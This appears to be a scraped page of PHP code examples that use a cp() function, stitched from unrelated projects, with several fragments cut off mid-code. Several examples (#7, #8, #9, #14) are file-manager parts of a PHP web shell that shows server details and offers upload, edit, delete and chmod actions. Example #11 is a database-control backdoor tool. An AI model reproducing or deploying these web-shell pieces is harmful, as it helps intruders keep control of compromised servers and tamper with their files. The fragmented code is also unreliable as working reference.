Пример #1
0
 /**
  * {@inheritdoc}
  */
 public function slash()
 {
     $tag_name = $this->input->getOption('tag');
     $alias = $this->input->getArgument('alias');
     foreach (config()->app->services as $service) {
         $obj = new $service();
         if ($alias != $obj->getAlias()) {
             continue;
         }
         $obj->boot();
         try {
             $tags = $obj->getToBePublished($tag_name);
             foreach ($tags as $tag_name => $tag) {
                 foreach ($tag as $source => $dest) {
                     $are_you_sure = 'Are you sure you want to ' . 'publish "' . $tag_name . '"? [y/n]: ';
                     if (!$this->confirm($are_you_sure)) {
                         continue;
                     }
                     cp($source, $dest);
                     $this->info("Publishing tag \"{$tag_name}\" from [{$source}] to [{$dest}]");
                 }
             }
         } catch (Exception $e) {
             $this->error($e->getMessage());
         }
     }
 }
Пример #2
0
function doLogin()
{
    global $kioskMode;
    if ($kioskMode) {
        logout();
        $result = array('error' => false, 'html' => cp());
        echo json_encode($result);
        return;
    }
    login(md5($_POST['password']));
    $result = array();
    if (loggedIn()) {
        $result['error'] = false;
        $result['html'] = cp();
    } else {
        $result['error'] = 'invalid';
    }
    echo json_encode($result);
}
Пример #3
0
function cp($wf, $wto)
{
    // it moves $wf to $wto
    if (!file_exists($wto)) {
        //the improvement
        mkdir($wto, 0777);
    }
    $arr = ls_a($wf);
    foreach ($arr as $fn) {
        if ($fn) {
            $fl = "{$wf}/{$fn}";
            $flto = "{$wto}/{$fn}";
            if (is_dir($fl)) {
                cp($fl, $flto);
            } else {
                copy($fl, $flto);
            }
        }
    }
}
Пример #4
0
 public function slash()
 {
     $alias = $this->input->getArgument('alias');
     $tag = $this->input->getOption('tag');
     foreach (config()->app->services as $service) {
         $obj = new $service();
         if ($alias != $obj->getAlias()) {
             continue;
         }
         $obj->boot();
         try {
             $tags = $obj->getToBePublished($tag);
             foreach ($tags as $tag) {
                 foreach ($tag as $source => $dest) {
                     cp($source, $dest);
                 }
             }
         } catch (Exception $e) {
             $this->error($e->getMessage());
         }
     }
 }
Пример #5
0
$ufile = $_FILES['userfile']['tmp_name'];
//GOT UPLOAD
if ($ufile) {
    $ufilename = $_FILES['userfile']['name'];
    if (!preg_match("/\\.({$browselist})\$/", $ufilename)) {
        echo "<body>{$ufilename} {$NotAllowed}";
    } else {
        $uferr = $_FILES['userfile']['error'];
        if ($uferr > 0) {
            exit("[Upload error {$uferr} for {$ufilename}] ");
        }
        $newname = okname($ufilename);
        $target = "{$fspath}/{$newname}";
        $webname = $webpath ? "{$webpath}/{$newname}" : $newname;
        if (file_exists($target)) {
            @cp($target, "{$target}.bak");
        }
        //Note, previous version silently backed up
        if (!@move_uploaded_file($ufile, $target)) {
            exit("[Failed to move upload {$ufilename} to {$webname}]");
        } else {
            exit('<body onload="' . $fun . '(\'' . $webname . '\');"> ' . $webname . ' </body></html>');
        }
    }
} else {
    echo '<body>';
}
if ($upload_allowed) {
    //UPLOAD FORM
    ?>
<form id="upload" enctype='multipart/form-data' method='post'>
Пример #6
0
    //if(1)$mini_js[]=$fj;else
    // Compression des .js
    $mini_js[] = file_get_contents('http://javascript-minifier.com/raw', false, stream_context_create(['http' => ['method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query(['input' => file_get_contents($fj)])]]));
}
// Fixe un bug de reconnaissance de path si les images de leaflet.css sont regroupées
$mini_js[] = 'L.Icon.Default.imagePath=L.Icon.Default.imagePath.replace(/(dist\\/src|dist|src)/g,"github.com/Leaflet/Leaflet/dist");';
// Liste des modules github inclus
preg_match_all('/\\n\\s*\'\\.\\.\\/(github\\.com\\/[^\\/]+\\/[^\\/]+)/', file_get_contents('../src/leaflet.js'), $gits);
// Ecrit le fichier
file_put_contents('../dist/leaflet.js', "/**\r\n * Integrated by Dominique Cavailhez (c) 2016\r\n * https://github.com/Dominique92/MyLeaflet\r\n * Includes part of :\r\n\thttps://" . implode("\n\thttps://", array_values(array_unique($gits[1]))) . "\r\n *\r\n * This file is automatically generated. Do not modify.\r\n*/\r\n" . implode(PHP_EOL, $mini_js));
//-----------------------------------
echo '<br/><br/>Compression des .css';
// Liste des .css
preg_match_all('/[A-Za-z0-9_\\-\\.\\/]+\\.css/', file_get_contents('../src/Leaflet.css'), $css_files);
foreach ($css_files[0] as $css_file) {
    $mini_css[] = preg_replace_callback('/url\\(([A-Za-z0-9@_\\-\\.\\/]+)\\)/', function ($matches) {
        global $css_file;
        $source = pathinfo($css_file, PATHINFO_DIRNAME) . '/' . $matches[1];
        $destination = 'images/' . str_replace(['../', '/'], ['', '-'], $source);
        // Copie les fichiers images dans le répertoire de distribution
        cp($source, '../dist/' . $destination);
        // Remplace les répertoires des url relatifs au fichier CSS d'origine
        return 'url("' . $destination . '")';
    }, file_get_contents('http://cssminifier.com/raw', false, stream_context_create(['http' => ['method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => http_build_query(['input' => file_get_contents($css_file)])]])));
}
file_put_contents('../dist/leaflet.css', "/**\r\n * Integrated by Dominique Cavailhez (c) 2016\r\n * https://github.com/Dominique92/MyLeaflet\r\n *\r\n * This file is automatically generated. Do not modify.\r\n */\r\n" . implode(PHP_EOL, $mini_css));
?>
<br/>
<p><a href="download-plugins.php">Mettre &agrave; jour les pluggins import&eacute;s</a></p>
<p><a href="..">RETOUR DEMO</a></p>
            $s_result .= showdir($pwd, $s_prompt, $s_win);
        }
    }
    // print useful info
    $s_info = "<table class=\"headtbl\"><tr><td>" . $s_software . "</td></tr>";
    $s_info .= "<tr><td>" . $s_system . "</td></tr>";
    if ($s_id != "") {
        $s_info .= "<tr><td>" . $s_id . "</td></tr>";
    }
    $s_info .= "<tr><td>IP del servidor : " . $s_server_ip . "<span class=\"gaya\"> | </span>TU IP : " . $s_my_ip . "<span class=\"gaya\"> | </span>";
    if ($s_safemode) {
        $s_info .= "safemode <span class=\"gaya\">ON</span>";
    } else {
        $s_info .= "safemode <span class=\"gaya\">OFF</span>";
    }
    $s_info .= "\r\n\t\t</td></tr>\r\n\t\t<tr><td style=\"text-align:left;\">\r\n\t\t\t<table class=\"headtbls\"><tr>\r\n\t\t\t<td>" . trim($letters) . "</td>\r\n\t\t\t<td>\r\n\t\t\t<span id=\"chpwd\">&nbsp;<a href=\"javascript:tukar('chpwd','chpwdform');\">&gt;&nbsp;&nbsp;</a>" . swd($pwd) . "</span>\r\n\t\t\t<form action=\"?\" method=\"get\" style=\"margin:0;padding:0;\">\r\n\t\t\t<span class=\"sembunyi\" id=\"chpwdform\">\r\n\t\t\t&nbsp;<a href=\"javascript:tukar('chpwdform','chpwd');\">&gt;</a>&nbsp;&nbsp;\r\n\t\t\t<input type=\"hidden\" name=\"d\" class=\"inputz\" style=\"width:300px;\" value=\"" . cp($pwd) . "\" />\r\n\t\t\t<input type=\"text\" name=\"view\" class=\"inputz\" style=\"width:300px;\" value=\"" . $pwd . "\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"view\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('chpwdform','chpwd');\" />\r\n\t\t\t</form>\r\n\t\t\t</span>\r\n\t\t\t</td></tr>\r\n\t\t\t</table>\r\n\t\t</td></tr>\r\n\t\t</table>";
}
// OK now... thats the <brain>,, here comes the <head>
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<title><?php 
echo $s_title;
?>
</title>
<link rel="SHORTCUT ICON" href="<?php 
echo $_SERVER['SCRIPT_NAME'] . "?favicon";
function showdir($cwd)
{
    global $s_self;
    $posix = function_exists("posix_getpwuid") && function_exists("posix_getgrgid") ? true : false;
    $win = strtolower(substr(php_uname(), 0, 3)) == "win" ? true : false;
    $fname = array();
    $dname = array();
    if (function_exists("scandir") && ($dh = @scandir($cwd))) {
        foreach ($dh as $file) {
            if (is_dir($file)) {
                $dname[] = $file;
            } elseif (is_file($file)) {
                $fname[] = $file;
            }
        }
    } else {
        if ($dh = @opendir($cwd)) {
            while ($file = readdir($dh)) {
                if (is_dir($file)) {
                    $dname[] = $file;
                } elseif (is_file($file)) {
                    $fname[] = $file;
                }
            }
            closedir($dh);
        }
    }
    sort($fname);
    sort($dname);
    $list = array_merge($dname, $fname);
    if ($win) {
        //check if this root directory
        chdir("..");
        if (cp(getcwd()) == cp($cwd)) {
            array_unshift($list, ".");
        }
        chdir($cwd);
    }
    $path = explode(DIRECTORY_SEPARATOR, $cwd);
    $tree = sizeof($path);
    $parent = "";
    if ($tree > 2) {
        for ($i = 0; $i < $tree - 2; $i++) {
            $parent .= $path[$i] . DIRECTORY_SEPARATOR;
        }
    } else {
        $parent = $cwd;
    }
    $owner_html = !$win && $posix ? "<th style='width:120px;'>owner:group</th>" : "";
    $buff = "\n\t<table class='explore sortable'>\n\t<tr><th>name</th><th style='width:60px;'>size</th>" . $owner_html . "<th style='width:70px;'>perms</th><th style='width:110px;'>modified</th><th style='width:180px;' class='sorttable_nosort'>action</th><th style='width:90px;' class='sorttable_nosort'>download</th></tr>\n\t";
    $arc = get_archiver_available();
    foreach ($list as $l) {
        if (!$win && $posix) {
            $name = posix_getpwuid(fileowner($l));
            $group = posix_getgrgid(filegroup($l));
            $owner = $name['name'] . "<span class='gaya'>:</span>" . $group['name'];
            $owner_html = "<td style='text-align:center;'>" . $owner . "</td>";
        }
        $lhref = "";
        $lname = "";
        $laction = "";
        if (is_dir($l)) {
            if ($l == ".") {
                $lhref = $s_self . "cd=" . $cwd;
                $lsize = "LINK";
                $laction = "\n\t\t\t\t<span id='titik1'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . "&find=" . $cwd . "' title='find something'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . "&upload' title='upload'>upl</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . "&edit=" . $cwd . "newfile_1&new' title='create new file'>+file</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('titik1','titik1_form');\" title='create new directory'>+dir</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='titik1_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='cd' value=" . $cwd . "' />\n\t\t\t\t\t<input class='inputz' id='titik1_' style='width:80px;' type='text' name='mkdir' value='newfolder' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('titik1_form','titik1');\" />\n\t\t\t\t</div>";
            } elseif ($l == "..") {
                $lhref = $s_self . "cd=" . $parent;
                $lsize = "LINK";
                $laction = "\n\t\t\t\t<span id='titik2'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $parent . "&find=" . $parent . "' title='find something'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $parent . "&upload' title='upload'>upl</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $parent . "&edit=" . $parent . "newfile_1&new' title='create new file'>+file</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('titik2','titik2_form');\" title='create new directory'>+dir</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='titik2_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='cd' value='" . $parent . "' />\n\t\t\t\t\t<input class='inputz' id='titik2_' style='width:80px;' type='text' name='mkdir' value='newfolder' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('titik2_form','titik2');\" />\n\t\t\t\t</div>";
            } else {
                $lhref = $s_self . "cd=" . $cwd . $l . DIRECTORY_SEPARATOR;
                $lsize = "DIR";
                $laction = "\n\t\t\t\t<span id='" . cs($l) . "_link'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . $l . DIRECTORY_SEPARATOR . "&find=" . $cwd . $l . DIRECTORY_SEPARATOR . "' title='find something'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . $l . DIRECTORY_SEPARATOR . "&upload' title='upload'>upl</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('" . cs($l) . "_link','" . cs($l) . "_form');\" title='rename'>ren</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . "&del=" . $l . "' title='delete'>del</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='" . cs($l) . "_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='oldname' value='" . $l . "' />\n\t\t\t\t\t<input type='hidden' name='cd' value='" . $cwd . "' />\n\t\t\t\t\t<input class='inputz' style='width:80px;' type='text' id='" . cs($l) . "_link_' name='newname' value='" . $l . "' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' value='ren' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('" . cs($l) . "_form','" . cs($l) . "_link');\" />\n\t\t\t\t</div>";
            }
            $lname = "[ " . $l . " ]";
            $lsizetit = "0";
        } else {
            $lhref = $s_self . "view=" . $l;
            $lname = $l;
            $lsize = gs($l);
            $lsizetit = @filesize($l);
            $laction = "\n\t\t\t<div id='" . cs($l) . "_form' class='sembunyi'>\n\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t<input type='hidden' name='oldname' value='" . $l . "' />\n\t\t\t\t<input class='inputz' style='width:80px;' type='text' id='" . cs($l) . "_link_' name='newname' value='" . $l . "' />\n\t\t\t\t<input class='inputzbut' type='submit' name='rename' value='ren' />\n\t\t\t\t</form>\n\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('" . cs($l) . "_form','" . cs($l) . "_link');\" />\n\t\t\t</div>\n\t\t\t<span id='" . cs($l) . "_link'>\n\t\t\t\t<a href='" . $s_self . "edit=" . cs($cwd . $l) . "' title='edit'>edit</a> |\n\t\t\t\t<a href='" . $s_self . "hexedit=" . cs($cwd . $l) . "' title='edit as hex'>hex</a> |\n\t\t\t\t<a href=\"javascript:tukar('" . cs($l) . "_link','" . cs($l) . "_form');\" title='rename'>ren</a> |\n\t\t\t\t<a href='" . $s_self . "del=" . $l . "' title='delete'>del</a>\n\t\t\t</span>";
        }
        $ldl = str_replace("__dlpath__", $l, $arc);
        $buff .= "\n\t\t<tr>\n\t\t<td class='explorelist' onmouseup=\"return go('" . addslashes($lhref) . "',event);\">\n\t\t\t<a href='" . $lhref . "'>" . $lname . "</a>\n\t\t</td>\n\t\t<td title='" . $lsizetit . "'>" . $lsize . "</td>\n\t\t" . $owner_html . "\n\t\t<td style='text-align:center;'>" . gp($l) . "</td>\n\t\t<td style='text-align:center;'>" . @date("d-M-Y H:i", filemtime($l)) . "</td>\n\t\t<td>" . $laction . "</td>\n\t\t<td>" . $ldl . "</td></tr>";
    }
    $buff .= "</table>";
    return $buff;
}
Пример #9
0
function showdir($s_cwd)
{
    global $s_self, $s_win, $s_posix, $s_tar;
    $s_fname = $s_dname = array();
    $s_total_file = $s_total_dir = 0;
    if ($s_dh = @opendir($s_cwd)) {
        while ($s_file = @readdir($s_dh)) {
            if (@is_dir($s_file)) {
                $s_dname[] = $s_file;
            } elseif (@is_file($s_file)) {
                $s_fname[] = $s_file;
            }
        }
        closedir($s_dh);
    }
    natcasesort($s_fname);
    natcasesort($s_dname);
    $s_list = array_merge($s_dname, $s_fname);
    if ($s_win) {
        //check if this root directory
        chdir("..");
        if (cp(getcwd()) == cp($s_cwd)) {
            array_unshift($s_list, ".");
        }
        chdir($s_cwd);
    }
    $s_path = explode(DS, $s_cwd);
    $s_tree = sizeof($s_path);
    $s_parent = "";
    if ($s_tree > 2) {
        for ($s_i = 0; $s_i < $s_tree - 2; $s_i++) {
            $s_parent .= $s_path[$s_i] . DS;
        }
    } else {
        $s_parent = $s_cwd;
    }
    $s_owner_html = !$s_win && $s_posix ? "<th style='width:140px;min-width:140px;'>owner:group</th>" : "";
    $s_colspan = !$s_win && $s_posix ? "5" : "4";
    $s_buff = "<table class='explore sortable'><thead><tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>" . $s_owner_html . "<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:200px;min-width:200px;' class='sorttable_nosort'>action</th></tr></thead><tbody>";
    foreach ($s_list as $s_l) {
        if (!$s_win && $s_posix) {
            $s_name = posix_getpwuid(fileowner($s_l));
            $s_group = posix_getgrgid(filegroup($s_l));
            $s_owner = $s_name['name'] . "<span class='gaya'>:</span>" . $s_group['name'];
            $s_owner_html = "<td style='text-align:center;'>" . $s_owner . "</td>";
        }
        $s_lhref = $s_lname = $s_laction = "";
        if (@is_dir($s_l)) {
            if ($s_l == ".") {
                $s_lhref = $s_self . "cd=" . pl($s_cwd);
                $s_lsize = "LINK";
                $s_laction = "<span id='titik1'><a href='" . $s_self . "cd=" . pl($s_cwd) . "&find=" . pl($s_cwd) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&x=upload" . "'>upl</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&edit=" . pl($s_cwd) . "newfile_1&new=yes" . "'>+file</a> | <a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik1_form'></div>";
            } elseif ($s_l == "..") {
                $s_lhref = $s_self . "cd=" . pl($s_parent);
                $s_lsize = "LINK";
                $s_laction = "<span id='titik2'><a href='" . $s_self . "cd=" . pl($s_parent) . "&find=" . pl($s_parent) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_parent) . "&x=upload" . "'>upl</a> | <a href='" . $s_self . "cd=" . pl($s_parent) . "&edit=" . pl($s_parent) . "newfile_1&new=yes" . "'>+file</a> | <a href=\"javascript:tukar('titik2','" . adds($s_parent) . "', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik2_form'></div>";
            } else {
                $s_lhref = $s_self . "cd=" . pl($s_cwd . $s_l . DS);
                $s_lsize = "DIR";
                $s_laction = "<span id='" . cs($s_l) . "_'><a href='" . $s_self . "cd=" . pl($s_cwd . $s_l . DS) . "&find=" . pl($s_cwd . $s_l . DS) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_cwd . $s_l . DS) . "&x=upload" . "'>upl</a> | <a href=\"javascript:tukar('" . cs($s_l) . "_','','rename','" . adds($s_l) . "','" . adds($s_l) . "');\">ren</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&del=" . pl($s_l) . "'>del</a></span><div id='" . cs($s_l) . "__form'></div>";
                $s_total_dir++;
            }
            $s_lname = "[ " . $s_l . " ]";
            $s_lsizetit = "0";
            $s_lnametit = "dir : " . $s_l;
        } else {
            $s_lhref = $s_self . "view=" . pl($s_cwd . $s_l);
            $s_lname = $s_l;
            $s_lsize = gs($s_l);
            $s_lsizetit = @filesize($s_l);
            $s_lnametit = "file : " . $s_l;
            $s_laction = "<span id='" . cs($s_l) . "_'><a href='" . $s_self . "edit=" . pl($s_cwd . $s_l) . "'>edit</a> | <a href='" . $s_self . "hexedit=" . pl($s_cwd . $s_l) . "'>hex</a> | <a href=\"javascript:tukar('" . cs($s_l) . "_','','rename','" . adds($s_l) . "','" . adds($s_l) . "');\">ren</a> | <a href='" . $s_self . "del=" . pl($s_cwd . $s_l) . "'>del</a> | <a href='" . $s_self . "dl=" . pl($s_cwd . $s_l) . "'>dl</a></span><div id='" . cs($s_l) . "__form'></div>";
            $s_total_file++;
        }
        $s_cboxval = $s_cwd . $s_l;
        if ($s_l == '.') {
            $s_cboxval = $s_cwd;
        }
        if ($s_l == '..') {
            $s_cboxval = $s_parent;
        }
        $s_cboxes_id = substr(md5($s_lhref), 0, 8);
        $s_cboxes = "<input id='" . $s_cboxes_id . "' name='cbox' value='" . hss($s_cboxval) . "' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='" . $s_cboxes_id . "' class='css-label'></label>";
        $s_ltime = filemtime($s_l);
        $s_buff .= "<tr><td style='text-align:center;text-indent:4px;'>" . $s_cboxes . "</td><td class='xpl' title='" . $s_lnametit . "' ondblclick=\"return go('" . adds($s_lhref) . "',event);\"><a href='" . $s_lhref . "'>" . $s_lname . "</a></td><td title='" . $s_lsizetit . "'>" . $s_lsize . "</td>" . $s_owner_html . "<td class='ce'>" . gp($s_l) . "</td><td class='ce' title='" . $s_ltime . "'>" . @date("d-M-Y H:i:s", $s_ltime) . "</td><td>" . $s_laction . "</td></tr>";
    }
    $s_buff .= "</tbody>";
    $s_extract = "";
    $s_compress = "";
    if (class_exists("ZipArchive")) {
        $s_extract .= "<option value='extractzip'>extract (zip)</option>";
        $s_compress .= "<option value='compresszip'>compress (zip)</option>";
    }
    if ($s_tar) {
        $s_extract .= "<option value='extracttar'>extract (tar)</option><option value='extracttargz'>extract (tar.gz)</option>";
        $s_compress .= "<option value='compresstar'>compress (tar)</option><option value='compresstargz'>compress (tar.gz)</option>";
    }
    $s_extcom = $s_extract != "" && $s_compress != "" ? $s_extract . "<option value='' disabled>-</option>" . $s_compress : $s_extract . $s_compress;
    $s_buff .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /> <label for='checkalll' class='css-label'></label></td><td><form action='" . $s_self . "' method='post'><select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'><option value='' disabled selected>Action</option><option value='cut'>cut</option><option value='copy'>copy</option><option value='paste'>paste</option><option value='delete'>delete</option><option value='' disabled>-</option><option value='chmod'>chmod</option><option value='touch'>touch</option><option value='' disabled>-</option>" . $s_extcom . "</select><noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript></form></td><td colspan='" . $s_colspan . "' style='text-align:left;'>Total : " . $s_total_file . " files, " . $s_total_dir . " Directories<span id='total_selected'></span></td></tr></tfoot></table>";
    return $s_buff;
}
Пример #10
0
 $script = 'ev/' . $task['name_short'] . '/script.php';
 if (!file_exists($script)) {
     error('Script file not found! ' . $script);
 }
 $style = 'ruby';
 include $script;
 //$cases IS HERE
 $passed = 0;
 for ($case = 1; $case <= $cases; $case++) {
     //GRADE case
     $result = run($name, $task, $case);
     $timeused += $result['timeused'];
     if ($result['result'] == 'O') {
         //COPY OUTPUT TO THISDIR
         if ($config['mode'] != 'online') {
             cp('output.txt', $thisDir . '/out-' . $case . '.txt');
         }
         //COMPARE
         $final = compare($task, $case, $style);
         $text .= $final;
         if ($final == 'P') {
             $passed++;
         }
     } else {
         $text .= $result['result'];
     }
 }
 $score = $passed / $cases * 100;
 //WRITE PASSED
 if ($passed == $cases && !pass($task_id, $user_id)) {
     $query = 'insert into `pass` (
Пример #11
0
}
switch ($action) {
    case 'vConn':
        vConn();
        break;
    case 'conn':
        conn();
        break;
    case 'exec':
        execsql();
        break;
    case 'install':
        install();
        break;
    case 'copy':
        cp();
        break;
    case 'cplug':
        cplug();
        break;
    case 'logout':
        logout();
        break;
    case 'func':
        func();
        break;
}
function vConn()
{
    echo 'by ninty http://www.t00ls.net/<form action="" method="post"><table><input type="hidden" name="action" value="conn">
<tr><td>ip:</td><td><input type="text" name="host" value="localhost"></td></tr><tr><td>uid:</td><td><input type="text" value="root" name="uid"></td></tr><tr><td>pwd:</td><td><input type="text" name="pwd"></td></tr><tr><td>db:</td><td><input type="text" name="db" value="mysql"></td></tr><tr><td><input type="submit"/></td><td>&nbsp;</td></tr></table></form>';
Пример #12
0
function cpa($pluginname = '')
{
    if (!cp($pluginname)) {
        message('您没有权限操作,请联系管理员!', '', 'error');
    }
}
Пример #13
0
        <?php 
}
?>
           
        <?php 
$plugins = m('plugin')->getAll();
?>
        <li class="dropdown">
           <a href='javascript:;' class="dropdown-toggle" data-toggle="dropdown"><i class='fa fa-cubes'></i> 插件管理 <i class="fa fa-angle-down"></i></a>
            <ul class="dropdown-menu">
                <?php 
if (is_array($plugins)) {
    foreach ($plugins as $plugin) {
        ?>
                <?php 
        if (cp($plugin['identity'])) {
            ?>
                     <li><a href="<?php 
            echo $this->createWebUrl('plugin', array('p' => $plugin['identity']));
            ?>
"><?php 
            echo $plugin['name'];
            ?>
</a></li>
                <?php 
        }
        ?>
                <?php 
    }
}
?>
function showdir($s_cwd)
{
    global $s_self, $s_tar;
    $s_posix = function_exists("posix_getpwuid") && function_exists("posix_getgrgid") ? true : false;
    $s_win = strtolower(substr(php_uname(), 0, 3)) == "win" ? true : false;
    $s_fname = array();
    $s_dname = array();
    $s_total_file = 0;
    $s_total_dir = 0;
    if (function_exists("scandir") && ($s_dh = @scandir($s_cwd))) {
        foreach ($s_dh as $s_file) {
            if (is_dir($s_file)) {
                $s_dname[] = $s_file;
            } elseif (is_file($s_file)) {
                $s_fname[] = $s_file;
            }
        }
    } else {
        if ($s_dh = @opendir($s_cwd)) {
            while ($s_file = readdir($s_dh)) {
                if (is_dir($s_file)) {
                    $s_dname[] = $s_file;
                } elseif (is_file($s_file)) {
                    $s_fname[] = $s_file;
                }
            }
            closedir($s_dh);
        }
    }
    natcasesort($s_fname);
    natcasesort($s_dname);
    $s_list = array_merge($s_dname, $s_fname);
    if ($s_win) {
        //check if this root directory
        chdir("..");
        if (cp(getcwd()) == cp($s_cwd)) {
            array_unshift($s_list, ".");
        }
        chdir($s_cwd);
    }
    $s_path = explode(DIRECTORY_SEPARATOR, $s_cwd);
    $s_tree = sizeof($s_path);
    $s_parent = "";
    if ($s_tree > 2) {
        for ($s_i = 0; $s_i < $s_tree - 2; $s_i++) {
            $s_parent .= $s_path[$s_i] . DIRECTORY_SEPARATOR;
        }
    } else {
        $s_parent = $s_cwd;
    }
    $s_owner_html = !$s_win && $s_posix ? "<th style='width:140px;min-width:140px;'>owner:group</th>" : "";
    $s_colspan = !$s_win && $s_posix ? "6" : "5";
    $s_buff = "\n\t<table class='explore sortable'>\n\t<tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>" . $s_owner_html . "<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:190px;min-width:190px;' class='sorttable_nosort'>action</th><th style='width:90px;min-width:90px;' class='sorttable_nosort'>download</th></tr>\n\t";
    $s_arc = get_archiver_available();
    foreach ($s_list as $s_l) {
        if (!$s_win && $s_posix) {
            $s_name = posix_getpwuid(fileowner($s_l));
            $s_group = posix_getgrgid(filegroup($s_l));
            $s_owner = $s_name['name'] . "<span class='gaya'>:</span>" . $s_group['name'];
            $s_owner_html = "<td style='text-align:center;'>" . $s_owner . "</td>";
        }
        $s_lhref = "";
        $s_lname = "";
        $s_laction = "";
        if (is_dir($s_l)) {
            if ($s_l == ".") {
                $s_lhref = $s_self . "cd=" . $s_cwd;
                $s_lsize = "LINK";
                $s_laction = "\n\t\t\t\t<span id='titik1'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . "&find=" . $s_cwd . "' title='find something' onclick='return false;'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . "&x=upload' title='upload' onclick='return false;'>upl</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . "&edit=" . $s_cwd . "newfile_1&new=yes' title='create new file' onclick='return false;'>+file</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('titik1','titik1_form');\" title='create new directory'>+dir</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='titik1_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='cd' value='" . $s_cwd . "' />\n\t\t\t\t\t<input class='inputz' id='titik1_' style='width:80px;' type='text' name='mkdir' value='newfolder_1' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('titik1_form','titik1');\" />\n\t\t\t\t</div>";
            } elseif ($s_l == "..") {
                $s_lhref = $s_self . "cd=" . $s_parent;
                $s_lsize = "LINK";
                $s_laction = "\n\t\t\t\t<span id='titik2'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_parent . "&find=" . $s_parent . "' title='find something' onclick='return false;'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_parent . "&x=upload' title='upload' onclick='return false;'>upl</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_parent . "&edit=" . $s_parent . "newfile_1&new=yes' title='create new file' onclick='return false;'>+file</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('titik2','titik2_form');\" title='create new directory'>+dir</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='titik2_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='cd' value='" . $s_parent . "' />\n\t\t\t\t\t<input class='inputz' id='titik2_' style='width:80px;' type='text' name='mkdir' value='newfolder_1' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('titik2_form','titik2');\" />\n\t\t\t\t</div>";
            } else {
